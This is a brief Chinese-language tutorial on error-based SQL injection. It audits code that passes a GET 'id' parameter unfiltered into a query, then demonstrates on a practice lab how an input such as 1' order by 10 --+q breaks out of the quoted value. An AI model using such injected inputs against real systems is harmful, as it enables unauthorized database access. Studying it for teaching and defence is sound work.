0x00 代码审计:

显错注入1.png

在20行,将get传参的值赋值给了变量id,在第29行直接拼接进sql语句中执行,中间没有任何的防护过滤。所以此处存在sql注入。

0x01 靶场复现

若用户传入的id值为 1 ,则此时执行的sql语句为

 SELECT * FROM users WHERE id='1' LIMIT 0,1

若传入的值为 1' :

 SELECT * FROM users WHERE id='1'' LIMIT 0,1

则会多出一个单引号造成语法错误

显错注入2.png

显错注入3.png

因此可以构造语句,注释掉后面内容,达到执行SQL语句。

传入 1' order by 10 --+q

服务器执行的sql语句就成了

 SELECT * FROM users WHERE id='1' order by 10 --+q'  LIMIT 0,1

order by 10 就是构造的语句。